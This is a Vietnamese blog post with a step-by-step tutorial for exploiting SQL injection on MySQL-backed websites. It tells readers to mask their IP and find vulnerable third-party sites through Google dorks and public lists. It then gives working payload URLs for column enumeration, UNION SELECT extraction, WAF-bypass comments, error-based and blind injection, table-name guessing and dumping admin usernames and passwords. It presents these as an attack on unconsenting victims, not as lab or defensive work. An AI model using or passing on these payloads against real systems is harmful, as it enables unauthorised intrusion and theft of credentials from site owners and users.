HuuTuan .Info

Chia sẻ ATTT - CNTT - Đồ họa

Detailed SQL Injection

Hôm nay mình sẽ hướng dẫn chi tiết nhất có thể cách khai thác SQL Injection.Ở đây mình giới hạn trong CSDL là MySQL.


B1Using Google Dork find Website vulnerable
Trước khi thực hành khai thác lỗi SQL các bạn nên dùng các Tool ẩn, hoặc thay đổi địa chỉ IP Public của mình như ULTRASURF, SAFEIP, Hotspot Shield , Freegate...
Tìm site bị lỗi SQL Injection . How to find website SQL Injection

1. Using Google Dork Mở trình duyệt truy cập các trang sử dụng Google dork mình đã có đề cập phần 3 
inurl:index.php?id=
2. SQL Vulnerable Website pastebin/List (Từ các pastebin)
3. https://www.punkspider.org/ ( 1 site list các trang web đang bị lỗi SQL Injection theo url hoặc tên miền)

Thử test site bằng cách thêm , "", ') , ") 
Code:
http://www.victim.com/newsdetail.php?id=51'
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Khi thêm " ' " đằng sau url câu lệnh truy vấn SQL 
PHP Code:
SELECT * FROM article
WHERE id = 5 ' 
Trong CSDL không lưu trữ  "id = 5 ' " --> Nó trả về kết quả Error mà chúng ta thấy .

B2: Find Number Columns

Code:
http://www.victim/newsdetail.php?id=51 order by X--
Tùy theo kinh nghiệm khai thác mỗi người, thường thì mình hay order by 100 trước. Nếu mà 
gặp lỗi "Unknown column '100' in 'order clause'" thì số column chắc chắn <100 . Mình dò từ 
10 trở đi.

Trường hợp dùng order by không thấy thay đổi hay khác biệt gì cả
Thử thêm dấu - hoặc ' hoặc thay id=NULL
http://www.victim.com/newsdetail.php?id=-51 order by X--
http://www.victim.com/newsdetail.php?id=51' order by X--
http://www.victim.com/newsdetail.php?id=-51' order by X--
http://www.victim.com/newsdetail.php?id=NULL order by X--

Giả sử ở đây victim có 3 Columns. Sau khi tìm được Columns tiến hành UNION SELECT
Code:
"index.php?id=-X UNION SELECT N--"

Code:
http://www.victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3--
Trường hợp Union Select không hiện số.
+Ta cũng thử thêm ' hoặc viewsource , hoặc xem file ảnh bị lỗi để xem cột có thể khai thác.
+ gặp lỗi "Unable to run Query to get news"
Thử :
    http://victim/news.phtml?id=-999999 union select 0,1,2,3/*

    + gặp lỗi 406 not acceptable bởi WAF chặn các câu lệnh truy vấn như Union,Select .(vấn đề bypass WAF mình sẽ viết 1 bài khác chi tiết hơn về vấn đề này).
    Thử: /*!UNION*/ /*!SELECT*/ hoặc /*!50000UNION*/    để bypass.Ở đây */  đằng sau để chú thích .
    /* Chú thích */
    !  ở đây có thể hiểu là phủ định
    Ví dụ: a=true !a=false

    + hoặc dùng Error based 
    http://victim/news.phtml?id=-99 And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)– –

    +Hoặc dùng Blind subtring
    http://victim/news.phtml?id=-99 and substring(version(),1,1)=5

    Tùy cơ mà ứng biến >.<

    B3: Find Version
    Dựa vào số hiện ra sau truy vấn Union Select. Giả sử cột 3 bị 
    Code:
    @@version, version()
    database(),
    user(),
    @@hostname
    @@datadir
    http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,@@version--
    Nếu database version < 5 --> Chúng ta cần hack đoán table 
    Nếu database version >=5 get table, column với group_concat 

    + Version < 5 table có thể là : user, username, usernames, admin, admins, users, manager, 
    account, accounts, member, login, logins, members, tbl_user, tbl_users, tbl_admin, 
    tbl_admins, tbl_member, tbl_members, tbladmins, memberlist, tbluser, tblusers, tblmanager
    tblmanagers, tblclients, tblservers, adminuser, usertbl, userstbl, admintbl, adminstbl, id
    tuser, tusers, uid, userid, user_id, auid, adminpass, LoginID, FirstName, LastName, 
    cms_user, cms_member, cms_users, cms_members, cms_admin, cms_admins, user_admin, user_info
    user_list, user_login, user_logins, user_names, userrights, userinfo, userlist, webadmin
    webadmins, Webmaster, Webuser, product, products, tblproducts, tblproduct, tbl_tbadmin
    Adminlogin
    Lưu ý: group_concat không dùng được version < 5 

    B4: GET Table_name 
    Code:
    http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(table_name),9,10,11 from information_schema.tables where table_schema=database()--
    
    Hoặc
    unhex(hex(group_concat(table_name)))
    convert(group_concat(table_name) using latin1)
    convert(group_concat(table_name) using ascii)
    Giả sử table_name ở đây là tbladmin

    B5: GET Columns from table
    Code:
    http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(column_name,0x0a),9,10,11 from information_schema.columns where table_name=0x74626c61646d696e-- 
    Chuyển tbladmin sang mã hexa . tbladmin = 74626c61646d696e
    Giả sử ta có được columns id,username,passwd

    B6: GET Data
    Code:
    http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,passwd),9,10,11 from tbladmin--
    
    Giả sử:
    ishir:ishir123
    Username: ishir
    Password: ishir123

    Tùy thuộc Password mã hóa dạng gì ?
    MD5 Hash
    21232f297a57a5a743894a0e4a801fc3 -- 32 characters
    
    
    SHA-1 Hash
    d033e22ae348aeb5660fc2140aec35850c4da997 -- 40 characters
    


    Để tìm link admin các bạn có thể dùng Web Admin Finder v2.0 mình có share trong phần 3 

    0 Response to "Detailed SQL Injection"

    Post a Comment

    Nội Quy Khi Comment:
    » Các bài comment phải nghiêm túc, không dung tục, không spam.
    » Nội dung phải liên quan tới chủ đề bài viết.
    » Những nhận xét spam sẽ bị xóa.
    » Sử dụng tài khoản Google để được trợ giúp.
    » Nặc danh thường không được chào đón.
    Note : Hãy để lại nhận xét bên dưới bạn nhé !

    Quảng Cáo TOP

    Quảng Cáo TOP 1

    Quảng Cáo TOP 2

    Quảng Cáo TOP